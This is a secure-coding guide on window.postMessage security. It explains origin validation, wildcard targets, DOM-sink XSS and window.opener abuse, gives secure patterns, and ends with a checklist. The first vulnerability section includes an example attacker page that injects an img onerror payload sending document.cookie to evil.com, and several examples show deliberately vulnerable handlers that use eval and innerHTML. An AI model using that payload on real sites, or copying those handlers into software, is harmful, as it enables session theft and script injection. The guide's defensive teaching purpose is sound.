PostMessage Security: Preventing Cross-Origin Data Theft and XSS via window.postMessage

window.postMessage is the standard mechanism for cross-origin iframe and window communication, and it's routinely misconfigured. Missing origin validation, wildcard targets, and trusting message structure without source verification create data theft and code injection vulnerabilities. This guide covers the attack patterns and secure implementation.

window.postMessage enables communication between windows, iframes, and tabs from different origins — it is the correct, intentional way to do cross-origin messaging in browsers. It is also one of the more reliably misconfigured security boundaries in web applications, because the secure pattern requires explicit checks that developers frequently skip or implement incorrectly, and the consequences of getting it wrong range from sensitive data exposure to full cross-site scripting.

The Web Messaging specification (now part of the HTML Living Standard) was designed with security in mind: messages carry the sender’s origin, and receivers are supposed to validate it. In practice, many implementations skip that validation, accept wildcard targets, or trust the message structure too far.

The Security Model

window.postMessage(message, targetOrigin) sends a message from one browsing context to another. The targetOrigin argument specifies which origin is allowed to receive the message. The receiving context gets a MessageEvent with:

  • event.data: the message payload
  • event.origin: the origin of the sender (set by the browser, not forgeable)
  • event.source: a reference to the sending window

The security requirement is simple: receivers must validate event.origin before processing event.data. Senders should always specify a non-wildcard targetOrigin.

When either requirement is violated, vulnerabilities follow.

Vulnerability 1: Missing Origin Validation in Message Receiver

This is the most common and most dangerous pattern:

// VULNERABLE: No origin check
window.addEventListener('message', function(event) {
  document.getElementById('user-name').innerHTML = event.data.username;
});

Any page that can get a reference to this window — by opening it in a popup, embedding it in an iframe, or using window.opener — can send arbitrary messages and have them processed without restriction. If the receiver does anything with the payload that has security implications (setting innerHTML, eval, redirecting, making API calls), an attacker from any origin can trigger it.

Attack scenario: Your application’s settings iframe receives postMessage to update the displayed username. An attacker on any origin opens your settings page in a popup:

// Attacker's page on evil.com
const targetWindow = window.open('https://app.example.com/settings');
setTimeout(() => {
  targetWindow.postMessage({
    username: '<img src=x onerror="fetch(`https://evil.com/?token=` + 
      document.cookie)">'
  }, '*');
}, 1000);

No click required. The user just needs to be tricked into visiting the attacker’s page while logged in.

Secure pattern:

const ALLOWED_ORIGIN = 'https://trusted-parent.example.com';

window.addEventListener('message', function(event) {
  // Always validate origin first
  if (event.origin !== ALLOWED_ORIGIN) {
    return;
  }
  
  // Safe to process event.data
  const username = sanitize(event.data.username); // still sanitize!
  document.getElementById('user-name').textContent = username; // textContent, not innerHTML
});

Note that event.origin validation alone doesn’t remove the need for output sanitisation — but it prevents arbitrary-origin attackers from triggering the handler.

Vulnerability 2: Wildcard Target Origin in Sender

// VULNERABLE: Wildcard targetOrigin
iframe.contentWindow.postMessage({ authToken: userToken }, '*');

The * wildcard means the browser will deliver the message regardless of what origin the iframe is currently displaying. If an attacker can control what is loaded in the iframe — through open redirect, content injection, or XSS in the iframe source — they receive the message containing the auth token.

This is particularly dangerous when the message contains sensitive data: authentication tokens, API keys, PII, session identifiers.

// Secure: specify exact target origin
const IFRAME_ORIGIN = 'https://embed.example.com';
iframe.contentWindow.postMessage({ authToken: userToken }, IFRAME_ORIGIN);

If the iframe is navigated to a different origin before the message is sent, the browser will not deliver it. That’s the correct behaviour — the message was intended for a specific origin.

Vulnerability 3: Trusting Message Structure Over Origin Validation

A subtler pattern: developers implement origin validation but then trust the message structure to determine action, with the origin check being too broad:

window.addEventListener('message', function(event) {
  // Checks origin but too broadly — any subdomain passes
  if (!event.origin.endsWith('.example.com')) {
    return;
  }
  
  if (event.data.action === 'navigate') {
    window.location.href = event.data.url; // Open redirect via postMessage
  }
  if (event.data.action === 'eval') {
    eval(event.data.code); // RCE if any subdomain can be attacker-controlled
  }
});

If any subdomain of example.com can be compromised (subdomain takeover, user-generated subdomains, an XSS on marketing.example.com), the attacker controls a trusted origin. The action-based dispatch with insufficient trust validation then enables open redirects, XSS, or arbitrary code execution.

Secure pattern: Use exact origin matching, define an explicit action allowlist, and never execute arbitrary code or perform unsafe DOM operations from message payloads.

const TRUSTED_ORIGINS = new Set([
  'https://dashboard.example.com',
  'https://embed.example.com'
]);

const ALLOWED_ACTIONS = new Set(['update-theme', 'resize', 'close']);

window.addEventListener('message', function(event) {
  if (!TRUSTED_ORIGINS.has(event.origin)) {
    return;
  }
  
  const { action, payload } = event.data;
  
  if (!ALLOWED_ACTIONS.has(action)) {
    console.warn('Unknown action from trusted origin:', action);
    return;
  }
  
  switch (action) {
    case 'update-theme':
      setTheme(sanitizeThemeName(payload.theme));
      break;
    case 'resize':
      resizeComponent(Number(payload.height));
      break;
    case 'close':
      closeOverlay();
      break;
  }
});

Vulnerability 4: postMessage-Based XSS via DOM Sinks

When a receiver passes message data to a DOM sink without sanitisation, the result is DOM-based XSS that bypasses reflected XSS filters and may bypass some CSP configurations:

// VULNERABLE: message data flows directly to innerHTML
window.addEventListener('message', function(event) {
  if (event.origin === 'https://trusted.example.com') {
    document.getElementById('content').innerHTML = event.data.html;
  }
});

This is XSS from a trusted origin — if trusted.example.com has any page that can be manipulated to send a crafted message (or if the trusted origin check is bypassed), the innerHTML assignment creates script execution.

Secure pattern: Replace unsafe sinks with safe equivalents, or sanitise with DOMPurify before assignment:

import DOMPurify from 'dompurify';

window.addEventListener('message', function(event) {
  if (event.origin !== 'https://trusted.example.com') return;
  
  // Option 1: Use textContent if markup is not needed
  document.getElementById('content').textContent = event.data.text;
  
  // Option 2: Sanitise if HTML is required
  document.getElementById('content').innerHTML = 
    DOMPurify.sanitize(event.data.html, { 
      ALLOWED_TAGS: ['p', 'strong', 'em', 'a'],
      ALLOWED_ATTR: ['href']
    });
});

Vulnerability 5: window.opener Abuse via postMessage

When a page is opened via window.open, the opened page gets a reference to the opener via window.opener. If the opened page is on a different origin, it can still send postMessage to window.opener. This is the attack vector for window.opener hijacking:

  1. User clicks a link that opens https://app.example.com/login
  2. The linked page is malicious or compromised
  3. Malicious page calls window.opener.postMessage({action: 'setToken', ...}, '*')
  4. If app.example.com processes postMessage without strict origin validation, the attacker can manipulate state

Prevent this by adding rel="noopener" to all cross-origin <a> links, and using window.open(url, '_blank', 'noopener') for programmatic popups:

<!-- Add rel="noopener" to all external links -->
<a href="https://external.example.com" target="_blank" rel="noopener noreferrer">
  External Link
</a>
// Programmatic popup with noopener
const popup = window.open('https://external.com', '_blank', 'noopener,noreferrer');

Testing for postMessage Vulnerabilities

Manual testing using browser developer tools:

// In browser console on target page:
// Send a test message from current origin
window.postMessage({ test: 'payload', username: '<img src=x>' }, '*');

// Listen for messages to understand what the page accepts
const originalAddEventListener = window.addEventListener;
window.addEventListener = function(type, listener, options) {
  if (type === 'message') {
    console.log('Message listener registered:', listener.toString());
  }
  return originalAddEventListener.call(this, type, listener, options);
};

For automated scanning, postMessage receivers can be identified through static analysis of minified JavaScript by looking for addEventListener.*message patterns and checking whether the handler contains an event.origin check before processing event.data.

TypeScript Type Safety for postMessage

TypeScript doesn’t prevent runtime origin validation failures, but typed message schemas reduce the risk of trusting unexpected properties:

type AllowedAction = 'update-theme' | 'resize' | 'close';

interface AppMessage {
  action: AllowedAction;
  payload: Record<string, unknown>;
}

function isAppMessage(data: unknown): data is AppMessage {
  return (
    typeof data === 'object' && 
    data !== null &&
    'action' in data &&
    typeof (data as Record<string, unknown>).action === 'string' &&
    ['update-theme', 'resize', 'close'].includes(
      (data as Record<string, unknown>).action as string
    )
  );
}

window.addEventListener('message', (event: MessageEvent) => {
  if (event.origin !== 'https://trusted.example.com') return;
  if (!isAppMessage(event.data)) return;
  
  // event.data is now typed as AppMessage
  handleAction(event.data.action, event.data.payload);
});

Summary Checklist

  • All message event listeners validate event.origin against an exact allowlist before processing event.data
  • postMessage calls specify a non-wildcard targetOrigin when sending sensitive data
  • Message payload data is not passed directly to innerHTML, eval, document.write, or location.href
  • Sanitise HTML content from messages with DOMPurify before DOM insertion
  • All cross-origin <a target="_blank"> links include rel="noopener noreferrer"
  • Programmatic window.open calls use 'noopener,noreferrer' in the features string
  • Action dispatch in message handlers uses an explicit allowlist, not open-ended dispatch based on event.data.action
  • TypeScript type guards validate message structure before processing

The fundamental rule is: event.origin is set by the browser and is trustworthy — event.data is attacker-controlled and is not.